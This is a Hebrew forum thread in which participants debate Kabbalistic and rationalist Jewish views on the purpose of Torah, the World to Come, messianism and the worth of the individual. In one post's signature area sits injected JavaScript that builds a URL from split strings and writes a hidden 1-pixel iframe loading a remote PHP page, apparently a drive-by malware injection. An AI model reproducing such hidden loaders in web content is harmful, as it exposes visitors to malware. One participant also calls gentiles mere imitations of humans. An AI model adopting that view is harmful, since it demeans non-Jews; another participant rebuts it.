|
|
| נשלח ב-14/11/2010 14:26 |
 |
| |
| שנרב_נ כתב: |  | איך תוכל להסביר את זה שתכלית זו לא נזכרה כלל בתורה (אלא אם תלך לרמזים ממש דחוקים - כשחז"ל הביאו מקורות כמו אז ישיר אלו הם מקורות לעצם הטענה של ביאת המשיח או תחית המתים, ולא לכך שזוהי התכלית היחידה או החשובה) ומצד שני אתה ואני חוזרים בוקר וערב על הבטחת משה רבינו שאם נלך בדרך התורה יהיה הרבה עשב לבהמות שלנו? למה משה רבינו לא אמר את האמת: שהתכלית היא השכר של הכרת הטוב והאמת שלאחר ביאת המשיח? |
|
הנושא מובא בכלי יקר סוף בחוקותי (שמונה פירושים בראשונים ואחרונים). הלשם אומר פשט נפלא בזה. אם התורה היתה מזכירה שכר עוה"ב כהמשך לאם בחוקותי תלכו פירושו שאין דרך אחרת להשיג זאת. וזה אינו נכון כי ע"פ הנהגת הייחוד גם רשעים יזכו בסופו של דבר בעוה"ב. ההבדל בין צדיקים לרשעים יהיה בדרך ולא בתוצאה.
|
|
|
|
| נשלח ב-14/11/2010 14:41 |
|
| |
רגע לא הבנתי. בסופו של דבר גם הרשעים יזכו לעוה"ב כמו הצדיקים?
_________________
|
|
|
|
| נשלח ב-14/11/2010 15:02 |
|
| |
מבקש
כל ישראל יש להם חלק לעולם הבא. אפילו הרשעים- אף אחד לא אפוטרופוס על העולם הבא, ואף אחד לא יודע מי בדיוק הצדיק ומי הרשע.
עשוים-או עלולים-להיות הפתעות שם- כשיתברר כי אלו שהיום חושבים שהם צדיקים, נבא לבקר אותם בשבת כשינוחו מאשו של גהנום.
|
|
|
|
| נשלח ב-14/11/2010 15:17 |
|
| |
שותףסוד כתב:
ב. ההכשרה לאמונה והתרחבות עלולה להיסחף לאמונות אחרות. ישמעאל בן אברהם הוא השורש לסכנה זו, (בהמשך הוא מפרש שכוונתו לעבודה זרה).
ג. החקירה הקפדנית וההצמדות אליה עלולה לסחוף לעצירת היכולת לראות מעבר לחושים או למסקנות המיידיות הנובעות מהם. עשיו בן יצחק הוא השורש לסכנה זו, . (בהמשך מפרש שזו כפירה)
לשיטתך יש ראייה גדולה לקדמות הקבלה, ופלא שלא הבחנת בה.
הרי הערבים היו עובדי עבודה זרה רק עד חתימת התלמוד, ומאז הם "מייחדים את השם בייחוד שאין בו דופי", כלשון הרמב"ם, ורבים פה בפורום טוענים שהם מייחדים אותו יותר ממך.
ולהיפך, הרי הנוצרים שיתפו אלהים אחרים, ורק בתחילת הנצרות ממש לא האמינו באלוהותו של ישו.
|
|
|
|
| נשלח ב-14/11/2010 16:11 |
|
| |
ורק היום התפרסם שהכנסיה הקתולית מכשירה עוד מגרשי שדים.
האם שדים ודבוקים נראים מיידית בחושים שלנו?
|
|
|
|
| נשלח ב-14/11/2010 16:37 |
|
| |
[בע"ב,
התבלבלת באשכול - שדים ודיבוקים נוצריים זה באשכול על "ליצנות"...]
|
|
|
|
|
| נשלח ב-14/11/2010 16:50 |
|
| |
מבקש
תגיע לעולם הבא בין אם אתה רוצה ובין אם לא. ישנן שתי דרכים להגיע לעולם הבא או דרך יסורים או דרך מצוות ומעשים טובים, תחליט באיזו אתה בוחר.
מן הראוי לציין שגם מקדמונינו היו שסברו שהקב"ה מביא יסורים על האדם בעולם הזה כדי להגדיל את שכרו בעולם הבא.
הרמב"ם חולק על שתי הנקודות שהעליתי.
|
|
|
|
| נשלח ב-14/11/2010 17:12 |
|
| |
קודם כל כמה הערות:
לשותף סוד, מן הראוי לתאם פתיחת אשכול משולש. אני סבור שאם הנושא מספיק לאשכול בפני עצמו, ניתן לחלק ואדרבה, תבוא ברכה. אבל בין המיגבלות שיש אצלנו היא לא לפתוח יותר מאשכול אחד לשבוע.
לשאר, החולקים: גם מי שסובר ששותף סוד טועה, דרכנו כאן היא לדון בטיעונים, ולא בטוען. מי שסבור שהוא טועה, מוזמן להראות למה. סתירות פנימיות. אי התאמה למקורות שהוא טוען שהוא יוצא מהם. אי התאמה לעקרונות היהדות. וכל מה שאפשר למצוא אם יש. אבל לא טענות לגופו של אדם.
רוצים להאשים שהוא משמיע טענה ליצנית? בבקשה, הסבירו מהי טענה ליצנית וצטטו מדבריו דוגמאות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-14/11/2010 17:25 |
|
| |
לשותף סוד
לא בפעם הראשונה אני מתפעל מיכולתך לעמוד מול קבוצת מבקרים ולהציג את עמדתך. זה לא קל.
עד עתה ראיתי שמעירים על עמדתך מנקודה כזו או אחרת. אני מבקש להציע ביקורת גלובלית, שכמובן מתחלקת לחלקים.
יש דברים רבים ביהדות שמשותפים לשנינו. אבל באשר למה שכתבת באשכול זה, דבריך יכולים בעיני להתפרש רק על דרך הסמל (כלומר מזכירים נושא, תחום או אדם, שאינם באים עבור עצמם, כדוגמת יעקב ועשו, אלא כסמל לגישה, ואין זה קשור כלל לדמות ההיסטורית. אבל סבורני שהטענה שלך גם כוללת פן היסטורי. שהגישה שאתה מזהה וקורא לה בשם של אישים ידועים מהתנ"ך גם אמורה היתה להיות גישתם ואף מהותם. ותמוה, כפי שיתבאר).
אני עובר על דבריך לפי הסדר.
כתבת:
המשימה: לעבור בשלום עם תורתנו ואמונתנו את פרק הזמן שבין מתן תורה לביאת המשיח.
אף אני סבור שזה מועיל כנראטיב עבורנו לראות את מציאותנו בעולם הזה כשליחות. כלומר, אם אדם מחפש משמעות לחייו בתוך התורה והמצוות, זה מועיל לחשוב על עצמי כשלוח לתכלית שהיא ייחודית עבורי.
את התפיסה הזו של החיים כמשימה מצאתי לראשונה בכתבי הרמח"ל, באמרו ש"צריך שיתבאר ויתאמת אצל האדם מה חובתו בעולמו"? חובתו דווקא ועולמו דווקא. הפרטיים. כפי שכבר העיר לי מאן דהוא בעבר (האסופי, כמדומני, ודומה שהוא עדיין כאן ויש לשמוח על זה), זו פרשנות אקזיסטנציאליסטית לרמח"ל.
אך האם רק ליהודי יש משימות? ידועה דעת הרמח"ל, אך סבורני שגישה כזו, אולי מוטב לומר נראטיב כזה, יפים לכל נפש, לכל אדם באשר הוא. (רק שלא לכל אדם יש זכות לשמוע על כך).
כתבת: "לעבור בשלום" וביארת כיצד: "עם תורתנו ואמונתנו".
אם אני מבין אותך, אז אתה מציע תפיסה שאולי ראוי לכנותה "חרדית" אם כי יש לה מקבילות בנצרות. כמובן, זה לא מוכיח שהיא לא נכונה רק משום כך. אבל בעיני זו גנות. ואשתדל לבאר מדוע.
יש כאן, אם הבנתי, תפיסה לפיה האדם בא לעולם הזה לעמוד בנסיונות, להישאר נאמן לתורה ולמצוות, ואז יקבל שכרו. ומן הסתם גם יועיל לעצמו ולעולם כולו (להוריד שפע למקום הנכון ועוד, אבל זה לא נאמר כאן).
יש גישות חליפיות בעולם היהדות. הרב סולוביצ'יק הצביע על כמה גישות כאלו, נראטיבים שאדם עשוי לאמץ לעצמו. בחינת "איש ההדר" (הפעיל בעולם), "איש הדעת" וגם "איש הדת". כל אלו הם טיפוסים (מוצגים בצורה אידיאלית, כי בכל אחד מאיתנו יש מעט מכל אחד) שמקדישים את חייהם לתכלית. לפעולה בבריאה (לעבדה ולשמרה ולרדות בה), להכרת העולם (מדע לשמו) ולהתקרבות אל ה' (למשל דרך דבקות אבל לא רק).
כל התכליות האלו שמעניקות למאמינים בהן יעד לחייהם ותחושה של משמעות - כל זה חסר כאן. האם האדם נתון במיגננה?
אני מסכים שטכנית יש לפעמים תועלת בגישה כזו. אני מסכים, אישית, עם ר' נחמן, שלעתים לנוכח הנסיונות והקשיים שבאים לנו בחיינו אנו "נאחזים בשינים" מול פחדים, ספקות, כפירה, הרהורי מרד ועוד. אבל לא זה כל האדם.
וכל זה חסר לי בדבריך.
כתבת כי זה תפקיד האדם "ממתן תורה עד ימות המשיח". האם באת לשלול שיכולים להיות תפקידים שונים בתקופות שונות? או להוסיף כי היהודי אמור להאמין שההיסטוריה שבתוכה אנו מתנהלים תסתיים לפתע פתאום? יש גרסה כזו לאמונה המשיחית, ויש בה תועלת גדולה לחיזוק בתקופות קשות בהיסטוריה ובחיים האישיים, ויש גם יסוד לתפיסה כזו אצל חז"ל, אבל סבורני שהגישה הזו שמה דגש במקום הלא נכון. שומה על אדם לנהל את חייו בצורה מיטבית גם אם לא יבוא משיח לעולם, או למצער אם לא יבוא משיח בימיו. צריך לדעת שה' יכול לשלוח משיח ויעשה זאת כיון שהבטיח, אבל זה נושא צדדי למדי בתיכנון חיינו ובזיהוי משימתנו.
כך נראים לי הדברים.
כיון שהארכתי אני מסתפק בביקורת זו. אכתוב עוד בהמשך בל"נ.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-14/11/2010 17:27 |
|
| |
| מיימוני כתב: | |
לשותף סוד, מן הראוי לתאם פתיחת אשכול משולש. אני סבור שאם הנושא מספיק לאשכול בפני עצמו, ניתן לחלק ואדרבה, תבוא ברכה. אבל בין המיגבלות שיש אצלנו היא לא לפתוח יותר מאשכול אחד לשבוע.
|
|
אני מתנצל על הפרת התקנון, היא נעשתה בטעות שלי (התכוונתי שכל שלושת החלקים יהיו בהמשך אחד, כדמוכח בכתוב עצמו). אמנם אח"כ חשבתי שכל תקלה לטובה, ויש מקום לכל חלק בנפרד.
אשמח מאד לקרוא תגובותיך בכל אחד מהנושאים.
|
|
|
|
| נשלח ב-14/11/2010 17:57 |
|
| |
שותף סוד
תודה.
ראה בהודעה הקודמת מעל דבריך האחרונים. עקב הדבקה, מה שכתבתי נראה זהה למה שכתבת. אבל יש ציטוט ויש ביקורת מסביב.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-14/11/2010 18:16 |
|
| |
| מיימוני כתב: | |
אך האם רק ליהודי יש משימות? ידועה דעת הרמח"ל, אך סבורני שגישה כזו, אולי מוטב לומר נראטיב כזה, יפים לכל נפש, לכל אדם באשר הוא. (רק שלא לכל אדם יש זכות לשמוע על כך).
ודאי שלכל נברא, גם שלשול קטן שבים, יש את חלקו והשתתפותו בהשגת תכלית הבריאה (מכאן נובע איסור בל תשחית). אמנם הנברא היחידי שיכול לשלוט על עצם חלקו הוא האדם היהודי בעל הבחירה, אשר נוצרת לו מתוך שילובו בו זמנית הן בתורה והן בעולם.
יש כאן, אם הבנתי, תפיסה לפיה האדם בא לעולם הזה לעמוד בנסיונות, להישאר נאמן לתורה ולמצוות, ואז יקבל שכרו. יש גישות חליפיות בעולם היהדות. הרב סולוביצ'יק הצביע על כמה גישות כאלו, נראטיבים שאדם עשוי לאמץ לעצמו. בחינת "איש ההדר" (הפעיל בעולם), "איש הדעת" וגם "איש הדת". כל אלו הם טיפוסים (מוצגים בצורה אידיאלית, כי בכל אחד מאיתנו יש מעט מכל אחד) שמקדישים את חייהם לתכלית. לפעולה בבריאה (לעבדה ולשמרה ולרדות בה), להכרת העולם (מדע לשמו) ולהתקרבות אל ה' (למשל דרך דבקות אבל לא רק).
כל התכליות האלו שמעניקות למאמינים בהן יעד לחייהם ותחושה של משמעות - כל זה חסר כאן. האם האדם נתון במיגננה?
אין סתירה בין התכליות הנוספות שאותן הזכרת ובין שמירת עצמו מסכנות ההסטה למיניהן. זה קום עשה וזה שב ואל תעשה. כאן התעסקנו רק בחלק הסכנות.
כתבת כי זה תפקיד האדם "ממתן תורה עד ימות המשיח". האם באת לשלול שיכולים להיות תפקידים שונים בתקופות שונות? או להוסיף כי היהודי אמור להאמין שההיסטוריה שבתוכה אנו מתנהלים תסתיים לפתע פתאום? יש גרסה כזו לאמונה המשיחית, ויש בה תועלת גדולה לחיזוק בתקופות קשות בהיסטוריה ובחיים האישיים, ויש גם יסוד לתפיסה כזו אצל חז"ל, אבל סבורני שהגישה הזו שמה דגש במקום הלא נכון. שומה על אדם לנהל את חייו בצורה מיטבית גם אם לא יבוא משיח לעולם, או למצער אם לא יבוא משיח בימיו. צריך לדעת שה' יכול לשלוח משיח ויעשה זאת כיון שהבטיח, אבל זה נושא צדדי למדי בתיכנון חיינו ובזיהוי משימתנו.
בלי האמונה בתכלית הטובה (והיא באה בהדרגה: שלש סעודות של משיח, תחיית המתים, עליית העולמות בשלביה השונים וכו') הרי העולם הוא כשלון חרוץ. כבר דרשו חז"ל את הפסוק "אדם ביקר בל ילין" שאפילו לילה אחד לא עבר על העולם לטובה, ובלילה שבו בנה שלמה את בית המקדש נשא את בת פרעה. רובם של בני אדם ברוב פרקי הזמן טועים ומסתבכים ומוליכים את העולם לתוהו. לולא עיקרי האמונה של משיח ותחיית המתים אז אבדי בעניי. זה לא נושא צדדי ח"ו, זה הציר המרכזי של חיינו.
_________________ שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
|
|
|
|
|
| נשלח ב-14/11/2010 20:22 |
|
| |
שותף
אני רואה שמן הדיון בינינו התגלו עוד כמה נקודות מעניינות שגם בהן יש בינינו מחלוקת. כלומר, מחלוקת בין גישות בהיסטוריה של ההגות (או הדמיון?) היהודיים.
א. הסכמנו שאפשר לדבר על שליחות או משימה של היהודי ושל האדם בכלל. אבל -
כאשר מדברים על "תפקידו של שלשול בים" זה לא דומה לתפקיד האדם. אפשר לחלק את המציאות לשנים. יש שלשולים ומה שדומה להם ויש בני אדם וכמדומה שבקבוצה זו מן הבריאה נמצאים רק בני אדם. להם תודעה, שכל, נשמה. חופש בחירה.
לפיכך, השם "שליחות" כשהוא מיושם על השלשול ועל האדם הוא "שם משותף", מילה אחת שמתארת נושאים שונים לגמרי (אם כי יש משותף במידה מזערית שמאפשר להשתמש במילה בדמיון מה).
שאלתי היא האם הגוי שייך לאותה קבוצה כמו היהודים, מפני שסוף סוף הוא אדם ובעל בחירה ותבונה, אם כי לא זכה בדרך כלל להכרת התרבות היהודית והשליחות התורנית. ואפשר שברבות הזמן יזכה לזה או לדומה לזה, כיון שאולי לא צריך דווקא תורה ומצוות כדי למלא שליחות אלקית ולקדם את הטוב בעולם.
או שאפשר לומר, וכמדומה שכן תסבור אתה והמקובלים איתך, שיהודי לחוד וגוי לחוד. לגוי אין שליחות. יש אולי רק תפקיד, בדומה לחיה ולבהמה. מפני שכמדומה שהקבלה (אם ניתן לדבר על מערכות מחשבה שונות באופן גורף) שוללת את זכאותו של הגוי להיותו צלם אלקים כמו היהודי.
ב. הזכרת בדבריך "שמירה מסכנות ההסטה". האם זה נושא מרכזי כל כך בחיי האדם? אולי צריך לברר יותר בפרטות מה הן סכנות ההסטה וכיון שנגעת בזה בדבריך הבאים, אשמור את המשך הבירור והביקורת לשם.
ג. כאן כתבת כמה טענות והנחות יחד. וסבורני שראוי להתייחס לכל אחת בנפרד.
1. יש "תכלית טובה" שבאה בשלבים שהינם ידועים לבעלי הקבלה. שלוש סעודות משיח, תחית המתים, עלית העולמות.
על זה יש להעיר מצד התוכן של אותה תכלית טובה ומצד המקור.
אשר לתוכן, איני יודע למה הכוונה ב"שלוש סעודות משיח". תחית המתים היא חלק ממסורת האמונה שלנו. לעומת זאת, "עליית העולמות" היא רעיון שהוא כמדומה רמב"ני, אם כי אצלו זו עליית העולם הזה מגשמיות ליתר רוחניות ואלוהיות.
ומה המקור לכל אלו? כאמור, תחית המתים נזכרת בגמרא. השאר מנלן? אתה רשאי כמובן להציג עמדות שהתגלו במועד מאוחר יותר, ובעבר כבר כתבת כי אינך רוצה להתייחס לנושא זה ובעיניך הכל נכון, ללא קשר לתאריך הגילוי.
אנו אם כן במצב של מי ששומעים מפי מי שטוען שהתחדשו גילויים תורניים מופלאים ועלינו להאמין לו. אולי כדאי לייחד אשכול לשאלה מה מחייב להאמין בתכני הקבלה כפי שהם מוצגים היום, כגון על ידך. היו כאלו אשכולות (האם מי שאינו מאמין בקבלה מצטרף למנין?) אבל לא עם משתתף ברמתך.
2. בלי אמונה זו העולם הוא כשלון חרוץ. אולי תרצה לבאר יותר מדוע? האם זה מצד זה שהעולם שביר והחיים קצרים? או מצד זה שכל השגיות בעולם הזה שלא דרך "התעלות העולמות" והתחברותם לתהליכים אלוהיים גבוהים יותר היא פסולה מעצם מהותה?
וגם על זה יש לשאול: מנלן? כאשר האדם נשלח בבריאה ל"רדות בה" האם זה אינו עשוי להתקיים על ידי שיפור רמת החיים ותיקון המוסר והמידות?
רמזת על כך שתיקון כזה לא אפשרי כי האדם מועד לכשלון. ואולי לא? אולי האדם, גם הגוי, ילך וישתפר? זה אידיאל הומניסטי שתפס את התרבות האירופאית לפני כמה מאות שנים. רעיון ההשכלה וההתקדמות. הוא לא נחל הצלחה מסחררת. גרמניה, ערש התרבות, הפכה למולדת הנאציזם. אולם סבורני שניתן לטעון במקביל כי האנושות כן מתפתחת. התפתחות שיש בצידה נפילות וסיכונים ואולי גם גילוי של סיכונים חדשים. ראה נא שלאחר הצונאמי הגדול במזרח אסיה, נרתמו אומות רבות לתרום לאומללים, וכן בפרשת האיטי. האם זו לא התקדמות? אולי ההתקדמות והתיקון העולמי הם כאן ועכשו, אצל יהודים וגויים, בתיקון של המציאות העכשוית?
3. טענת ש"זה הציר המרכזי של חיינו". אני מבין שזו מטאפורה. האם כוונתך לשלול ערך מרכזי מתכליות אחרות? קודם כל תכליות פרטיות (אני ויעדי הפרטיים, משפחתי, עמנו, דורנו)? האם האדם חשוב רק בהיותו מקדם את ההוויה כולה לקראת התחברות לעולם עליון? כמדומה שגישה כזו מתעלמת מן הפרט ומעדיפה את הכלל על פניו. אף זו בעיה שלדעתי אופיינית לקבלה ולזרמים מסויימים בחסידות (כגון חבד). האדם הפרטי, במובן האקזיסטנציאלי, חסר חשיבות. הוא רק אמצעי לקראת המטרה. במובן זה, אני קנטיאני ואקזיסטנציאליסט. איני רוצה ואיני יכול להאמין שהאדם הפרטי, גם הגוי שהוא אדם, פחות חשוב מאשר תיקון עולמות, העלאת ניצוצות שכינה אבודים או חיבור של ספירות לפי כללי צנרת אלו ואחרים. האדם קודם לכל. אני מניח שגם על זה היה ג'ון סטיוארט מיל חורץ את משפטו כי אלקים שאינו מכיר בחשיבות האדם היחיד כאדם ובטוב של האדם הפרטי אינו יכול להיות מכונה על ידנו "טוב". מיל היה מוכן ללכת לגהנום ובלבד שלא להסכים לכך. זהו צעד נחפז מעט. אבל אני עדיין מלא התפעלות ממה שבעיני הוא תפיסת הטוב האקזיסטנציאלי שהרי אין אחר מלבדו. (אני מקוה שהדילוגים שלי מנושא לנושא לא גרמו לבלבול).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-14/11/2010 21:04 |
|
| |
| מיימוני כתב: | |
א. שאלתי היא האם הגוי שייך לאותה קבוצה כמו היהודים, מפני שסוף סוף הוא אדם ובעל בחירה ותבונה, אם כי לא זכה בדרך כלל להכרת התרבות היהודית והשליחות התורנית. ואפשר שברבות הזמן יזכה לזה או לדומה לזה, כיון שאולי לא צריך דווקא תורה ומצוות כדי למלא שליחות אלקית ולקדם את הטוב בעולם.
או שאפשר לומר, וכמדומה שכן תסבור אתה והמקובלים איתך, שיהודי לחוד וגוי לחוד. לגוי אין שליחות. יש אולי רק תפקיד, בדומה לחיה ולבהמה. מפני שכמדומה שהקבלה (אם ניתן לדבר על מערכות מחשבה שונות באופן גורף) שוללת את זכאותו של הגוי להיותו צלם אלקים כמו היהודי.
אני מקווה שלא יהיה לי דין רודף ומסכן את ישראל (אפשר לחשוב, מי בכלל מכיר את הפורום הזה ?...) אם אומר שהגוי הוא חיקוי אדם. חז"ל אומרים שאדם הראשון היה ישראל, ולולא חטא עץ הדעת והתערבות הנחש בחיי האדם אין מקום לאדם שאיננו ישראל. עד כמה שיש מציאות החטא בעולם יש מציאות אומות העולם כחיקוי אדם. ולכן צלם אלקים שבו איננו בעצם אלא במקרה, ולא ישאר באחרית הימים. זה לא שלילת זכאות, זה בירור האמת. לא נעים, אבל לא נורא.
ומה המקור לכל אלו? כאמור, תחית המתים נזכרת בגמרא. השאר מנלן? אתה רשאי כמובן להציג עמדות שהתגלו במועד מאוחר יותר, ובעבר כבר כתבת כי אינך רוצה להתייחס לנושא זה ובעיניך הכל נכון, ללא קשר לתאריך הגילוי.
המקור לדבריי הוא הלשם. אם תרצה אצטט ואבאר.
בלי אמונה זו העולם הוא כשלון חרוץ. אולי תרצה לבאר יותר מדוע? האם זה מצד זה שהעולם שביר והחיים קצרים? או מצד זה שכל השגיות בעולם הזה שלא דרך "התעלות העולמות" והתחברותם לתהליכים אלוהיים גבוהים יותר היא פסולה מעצם מהותה? וגם על זה יש לשאול: מנלן? כאשר האדם נשלח בבריאה ל"רדות בה" האם זה אינו עשוי להתקיים על ידי שיפור רמת החיים ותיקון המוסר והמידות?
כל דבר שאיננו נצחי ויוצא מגבולות הזמן והמקום אין לו ערך אמיתי, אלא דמיון בלבד. עניין התכללות העולמות והפיכתם רוחניים יותר ויותר היא תהליך שחרורם מכבלי הזמן והמקום והפיכתם למציאות נצחית. כל ההישגים בעולם הזה הם חסרי משמעות ללא עלייה זו.
רמזת על כך שתיקון כזה לא אפשרי כי האדם מועד לכשלון. ואולי לא? אולי האדם, גם הגוי, ילך וישתפר? זה אידיאל הומניסטי שתפס את התרבות האירופאית לפני כמה מאות שנים. רעיון ההשכלה וההתקדמות. הוא לא נחל הצלחה מסחררת. גרמניה, ערש התרבות, הפכה למולדת הנאציזם. אולם סבורני שניתן לטעון במקביל כי האנושות כן מתפתחת. התפתחות שיש בצידה נפילות וסיכונים ואולי גם גילוי של סיכונים חדשים. ראה נא שלאחר הצונאמי הגדול במזרח אסיה, נרתמו אומות רבות לתרום לאומללים, וכן בפרשת האיטי. האם זו לא התקדמות? אולי ההתקדמות והתיקון העולמי הם כאן ועכשו, אצל יהודים וגויים, בתיקון של המציאות העכשוית?
העולם הוא כשלון בעמידתו באתגרי התורה. אפשר להאשים את התורה, אפשר להאשים את העולם, ואפשר להבין שיש מטרה בזה. הכשלון הוא מובנה בתהליך הבחירה ומטרתו להגיע לתיקון שלם יותר של הבריאה. ההחלטות המקומיות של בני האדם מה טוב ומה רע נסחפות יחד עם כל חיי העולם הזה להבל וריק. רק תוכנית התורה וקביעותיה הערכיות יכולים לשמש כמנוף להעלאת העולם לנצחיותו.
טענת ש"זה הציר המרכזי של חיינו". אני מבין שזו מטאפורה. האם כוונתך לשלול ערך מרכזי מתכליות אחרות? קודם כל תכליות פרטיות (אני ויעדי הפרטיים, משפחתי, עמנו, דורנו)? האם האדם חשוב רק בהיותו מקדם את ההוויה כולה לקראת התחברות לעולם עליון? כמדומה שגישה כזו מתעלמת מן הפרט ומעדיפה את הכלל על פניו. אף זו בעיה שלדעתי אופיינית לקבלה ולזרמים מסויימים בחסידות (כגון חבד). האדם הפרטי, במובן האקזיסטנציאלי, חסר חשיבות. הוא רק אמצעי לקראת המטרה. במובן זה, אני קנטיאני ואקזיסטנציאליסט. איני רוצה ואיני יכול להאמין שהאדם הפרטי, גם הגוי שהוא אדם, פחות חשוב מאשר תיקון עולמות, העלאת ניצוצות שכינה אבודים או חיבור של ספירות לפי כללי צנרת אלו ואחרים. האדם קודם לכל. אני מניח שגם על זה היה ג'ון סטיוארט מיל חורץ את משפטו כי אלקים שאינו מכיר בחשיבות האדם היחיד כאדם ובטוב של האדם הפרטי אינו יכול להיות מכונה על ידנו "טוב". מיל היה מוכן ללכת לגהנום ובלבד שלא להסכים לכך. זהו צעד נחפז מעט. אבל אני עדיין מלא התפעלות ממה שבעיני הוא תפיסת הטוב האקזיסטנציאלי שהרי אין אחר מלבדו. ח"ו לייחס לתורה הקדושה מיעוט בחשיבות האדם הבודד. אדרבא אם אני כאן הכל כאן, וחייב אדם לומר בשבילי נברא העולם, וכל המציל נפש אחת מישראל כאילו הציל עולם מלא. מה הסתירה בין חשיבות הפרט לבין כיוון עבודתו לתיקון העולם באמצעות ביתו ומשפחתו וכו' ? כשם שאין פרצופיהם שווים כך אין דעותיהם שווים ואין תפקידיהם שווים. כל אחד יש לו ערך נדיר בפני עצמו (לא היה ולא יהיה איש כמוהו לעולם, וטביעת אצבעות תוכיח), ובלעדיו כל התוכנית הגדולה לא תצא לפועל. כך הבטיח הקב"ה ליעקב אבינו שלא ידח ממנו נידח ומטתו תהיה שלימה.
|
|
|
|
|
|
|
| נשלח ב-15/11/2010 00:34 |
|
| |
שותף סוד
האם אנו מדברים על אותה תורה ועל אותם חז"ל?
א. התורה שאני מכיר קובעת: בצלם אלקים ברא את האדם. לא את היהודי אלא את האדם.
המשפט "הגוי הוא חיקוי אדם", אם הבנתי אותו כטוען שהגוי אינו אדם באמת, נראה לי שגוי. יותר מכך, נראה לי שהוא משקף תפיסת עולם שגויה ומעוררת, בעיני, תיעוב. אם הקבלה טוענת את הטענה זו, סימן רע הוא לה.
אולי תרצה לשתפני היכן מצאת בדברי רבותינו התנאים והאמוראים יחס כזה לגוי שהוא רק חיקוי לאדם?
ב. אהה. לפי הלשם הזמן אמור להתקדם לעבר סעודות משיח (אני משער שזה סמל) וכל מה שכתבת לעיל.
ומנא ליה ללשם הא? (=מהיכן ידע זאת הלשם?)
ג. כתבת:
כל דבר שאיננו נצחי ויוצא מגבולות הזמן והמקום אין לו ערך אמיתי, אלא דמיון בלבד
ואני שוב שואל: זאת מנלן. האם זה למדנו מן התורה או שזו סברה? ומדוע אי אפשר לומר שדווקא בזמני ובחולף מצויה גדולתו של האדם העושה את הטוב?
אני מציין בקיצור כי לשאלה האם דבר בעל ערך צריך להיות בעל קיום נצחי יש היסטוריה. וראוי לברר את הנחות היסוד לפי מה קובעים את הערך.
ד. כתבת עוד, ואני מתייחס לפי חלקים.
1. העולם הוא כשלון בעמידתו באתגרי התורה.
ואני שואל זאת מנלן. שמא ההתקדמות ההדרגתית של האדם היא דווקא זכות. ולקב"ה יש סבלנות לחכות. הוא נצחי.
'2. הכשלון הוא מובנה בתהליך הבחירה
כלומר שאדם, גם אם הוא בעל בחירה חופשית, סופו להיכשל? אז איך זה קורה? האם אין לאדם בחירה חופשית? האם יש לו רק לפעמים? האם הכשלון הוא בגלל חוסר ידע, ואם כן, האם ניתן להאשימו על כך? (שאלה שהזכרת, ואיני מתעלם מכך. זה מראה על כושר הניתוח שלך ולא שאתה זקוק להסכמתי).
אך שים לב. אם האדם נכשל בגלל שכך נגזר עליו, ומצליח רק לפעמים, האם אין הצלחותיו ראויות לכל שבח ונחשבות לרבות ערך? הרי הוא מצליח למרות הכשלון המובנה לתוכו?
אולי לידע כללי תרצה לדעת כי כבר היה הוגה דעות שסבר כי הצדיקים נבחרו לבחור בטוב, והרשעים ברע, ולאף אחד אין בחירה חופשית, והכל גזירה קדומה, והצדיקים יתענגו על גן העדן וישמעו בו את צווחות הרשעים המתענים בגהנום, והיא פאר לבורא מן הנברא. שמו של ההוגה הזה היה קלוין. נכון שעשיתי טריק דמגוגי?
3. כתבת כי ההחלטות המקומיות של בני האדם מה טוב ומה רע נסחפות יחד עם כל חיי העולם הזה להבל וריק.
ויש עוד דרך לראות זאת. שהאדם מברר את הערכים אט אט. וכל בירור הוא זכות לו ולעולם כולו. ולכן יש לשבח לא רק את הנביאים שזכו להתגלות, אלא גם למשל את קאנט, שניסח באופן פילוסופי את הרעיון של האדם שנברא בצלם אלקים, ולכן לעולם אסור להתייחס אליו כאמצעי גרידא.
4. כתבת:
רק תוכנית התורה וקביעותיה הערכיות יכולים לשמש כמנוף להעלאת העולם לנצחיותו.
ואולי התורה ניתנה לאדם כדי שיפרש אותה, יבין אותה, ויזהה את הערכים הטמונים בה? לתועלת האדם ולא העולם?
אלו שתי גישות שונות, אלא שאני טוען שגישתי שלי מצויה ביהדות גם כן.
ועוד אני טוען, לגבי כל הנכתב כאן, שהגישה שאתה מציג סובלת, להערכתי, מהיותה פשטנית. כמדומה שהתרבות האנושית התפתחה לעצמאות וריבונות שחסרות בהצגת הדברים שלך. חוששני שלא בארתי די הצורך מדוע. וכמובן, הצגתי רק גישה חליפית לשלך. זו ודאי לא סתירה לדבריך. זה רק נסיון להציג בשטחיות ובפשטנות מדוע התפיסה שאתה מציג לא תדבר לכל. ניתן כמובן לטעון שמי שלא זכה לטעום את טעמו של ההסבר שלך הקבלי זה בגלל שנשמתו לא מספיק גבוהה וכיו"ב ואולי הוא רק חיקוי של אדם...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
|
